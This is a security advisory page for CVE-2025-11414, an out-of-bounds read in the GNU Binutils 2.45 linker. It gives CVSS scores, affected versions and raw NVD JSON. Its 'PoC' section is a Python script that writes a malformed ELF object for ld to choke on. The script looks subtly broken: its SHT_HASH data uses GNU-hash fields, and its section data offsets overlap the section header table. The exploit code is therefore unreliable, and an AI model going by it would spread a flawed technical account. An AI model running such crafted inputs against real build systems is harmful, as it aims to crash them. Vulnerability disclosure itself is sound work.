Security Vulnerability Report
中文
CVE-2025-11414 CVSS 3.3 LOW

CVE-2025-11414

Published: 2025-10-07 23:15:33
Last Modified: 2026-05-12 13:16:29

Description

A vulnerability was determined in GNU Binutils 2.45. Affected by this vulnerability is the function get_link_hash_entry of the file bfd/elflink.c of the component Linker. This manipulation causes out-of-bounds read. The attack can only be executed locally. The exploit has been publicly disclosed and may be utilized. Upgrading to version 2.46 addresses this issue. Patch name: aeaaa9af6359c8e394ce9cf24911fec4f4d23703. It is advisable to upgrade the affected component.

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:gnu:binutils:2.45:*:*:*:*:*:*:* - VULNERABLE
GNU Binutils < 2.46
GNU Binutils 2.45

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11414 PoC - GNU Binutils elflink.c Out-of-Bounds Read # This PoC demonstrates triggering the vulnerability in get_link_hash_entry() # by crafting a malicious ELF object file with corrupted hash table entries. import struct import os def create_malicious_elf(): """ Create a minimal ELF object file with corrupted .hash section to trigger out-of-bounds read in get_link_hash_entry(). """ # ELF header (64-bit, little-endian) elf_header = bytearray() elf_header += b'\x7fELF' # e_ident[EI_MAG] elf_header += b'\x02' # e_ident[EI_CLASS] = ELFCLASS64 elf_header += b'\x01' # e_ident[EI_DATA] = ELFDATA2LSB elf_header += b'\x01' # e_ident[EI_VERSION] = EV_CURRENT elf_header += b'\x00' # e_ident[EI_OSABI] elf_header += b'\x00' * 8 # e_ident padding elf_header += struct.pack('<H', 1) # e_type = ET_REL (relocatable) elf_header += struct.pack('<H', 62) # e_machine = EM_X86_64 elf_header += struct.pack('<I', 1) # e_version = EV_CURRENT elf_header += struct.pack('<Q', 0) # e_entry elf_header += struct.pack('<Q', 0) # e_phoff elf_header += struct.pack('<Q', 64) # e_shoff (section header offset) elf_header += struct.pack('<I', 0) # e_flags elf_header += struct.pack('<H', 64) # e_ehsize elf_header += struct.pack('<H', 0) # e_phentsize elf_header += struct.pack('<H', 0) # e_phnum elf_header += struct.pack('<H', 64) # e_shentsize elf_header += struct.pack('<H', 4) # e_shnum (null + .hash + .symtab + .strtab) elf_header += struct.pack('<H', 3) # e_shstrndx # Section headers # SHT_NULL sh_null = struct.pack('<I', 0) * 16 # .hash section header sh_hash = struct.pack('<I', 5) # sh_name (offset in string table) sh_hash += struct.pack('<I', 5) # sh_type = SHT_HASH sh_hash += struct.pack('<Q', 0) # sh_flags sh_hash += struct.pack('<Q', 0) # sh_addr sh_hash += struct.pack('<Q', 128) # sh_offset (after section headers) sh_hash += struct.pack('<Q', 32) # sh_size (small buffer) sh_hash += struct.pack('<I', 0) # sh_link sh_hash += struct.pack('<I', 0) # sh_info sh_hash += struct.pack('<Q', 8) # sh_addralign sh_hash += struct.pack('<Q', 0) # sh_entsize # .symtab section header sh_symtab = struct.pack('<I', 11) # sh_name sh_symtab += struct.pack('<I', 2) # sh_type = SHT_SYMTAB sh_symtab += struct.pack('<Q', 0) # sh_flags sh_symtab += struct.pack('<Q', 0) # sh_addr sh_symtab += struct.pack('<Q', 160) # sh_offset sh_symtab += struct.pack('<Q', 48) # sh_size sh_symtab += struct.pack('<I', 3) # sh_link (to .strtab) sh_symtab += struct.pack('<I', 1) # sh_info sh_symtab += struct.pack('<Q', 8) # sh_addralign sh_symtab += struct.pack('<Q', 24) # sh_entsize # .strtab section header sh_strtab = struct.pack('<I', 19) # sh_name sh_strtab += struct.pack('<I', 3) # sh_type = SHT_STRTAB sh_strtab += struct.pack('<Q', 0) # sh_flags sh_strtab += struct.pack('<Q', 0) # sh_addr sh_strtab += struct.pack('<Q', 208) # sh_offset sh_strtab += struct.pack('<Q', 32) # sh_size sh_strtab += struct.pack('<I', 0) # sh_link sh_strtab += struct.pack('<I', 0) # sh_info sh_strtab += struct.pack('<Q', 1) # sh_addralign sh_strtab += struct.pack('<Q', 0) # sh_entsize # .hash data - crafted to trigger OOB read hash_data = struct.pack('<I', 2) # nbucket hash_data += struct.pack('<I', 0xFFFFFFFF) # symndx (corrupted - causes OOB) hash_data += struct.pack('<I', 2) # maskwords hash_data += struct.pack('<I', 0) # shift2 hash_data += struct.pack('<Q', 0xFFFFFFFFFFFFFFFF) # bucket[0] (corrupted) hash_data += struct.pack('<Q', 0xFFFFFFFFFFFFFFFF) # bucket[1] (corrupted) hash_data += struct.pack('<Q', 0xDEADBEEF) # chain[0] (corrupted) hash_data += struct.pack('<Q', 0xCAFEBABE) # chain[1] (corrupted) # .symtab data symtab_data = struct.pack('<I', 0) # st_name symtab_data += b'\x00' * 4 # st_info + st_other symtab_data += struct.pack('<H', 0) # st_shndx symtab_data += struct.pack('<Q', 0) # st_value symtab_data += struct.pack('<Q', 0) # st_size symtab_data = symtab_data.ljust(48, b'\x00') # .strtab data strtab_data = b'\x00.hash\x00.symtab\x00.strtab\x00' strtab_data = strtab_data.ljust(32, b'\x00') # Assemble the ELF file elf = elf_header + sh_null + sh_hash + sh_symtab + sh_strtab elf += hash_data + symtab_data + strtab_data return bytes(elf) def main(): elf_data = create_malicious_elf() output_file = 'malicious.o' with open(output_file, 'wb') as f: f.write(elf_data) print(f"[*] Malicious ELF object file created: {output_file}") print(f"[*] File size: {len(elf_data)} bytes") print(f"[*] To trigger the vulnerability, run:") print(f" ld {output_file}") print(f"[*] Or with a linker script:") print(f" ld -T script.ld {output_file}") print() print("[!] WARNING: This will trigger an out-of-bounds read in") print("[!] get_link_hash_entry() in bfd/elflink.c") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11414", "sourceIdentifier": "[email protected]", "published": "2025-10-07T23:15:33.053", "lastModified": "2026-05-12T13:16:28.863", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in GNU Binutils 2.45. Affected by this vulnerability is the function get_link_hash_entry of the file bfd/elflink.c of the component Linker. This manipulation causes out-of-bounds read. The attack can only be executed locally. The exploit has been publicly disclosed and may be utilized. Upgrading to version 2.46 addresses this issue. Patch name: aeaaa9af6359c8e394ce9cf24911fec4f4d23703. It is advisable to upgrade the affected component."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:N/I:N/A:P", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-125"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:binutils:2.45:*:*:*:*:*:*:*", "matchCriteriaId": "60CBCA58-29DE-4A0A-BAF0-D0188FAF4884"}]}]}], "references": [{"url": "https://sourceware.org/bugzilla/attachment.cgi?id=16361", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://sourceware.org/bugzilla/show_bug.cgi?id=33450", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=aeaaa9af6359c8e394ce9cf24911fec4f4d23703", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://vuldb.com/?ctiid.327350", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327350", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.665591", "source": "[email protected]", "tags": ["Third Party Advisory" ... (truncated)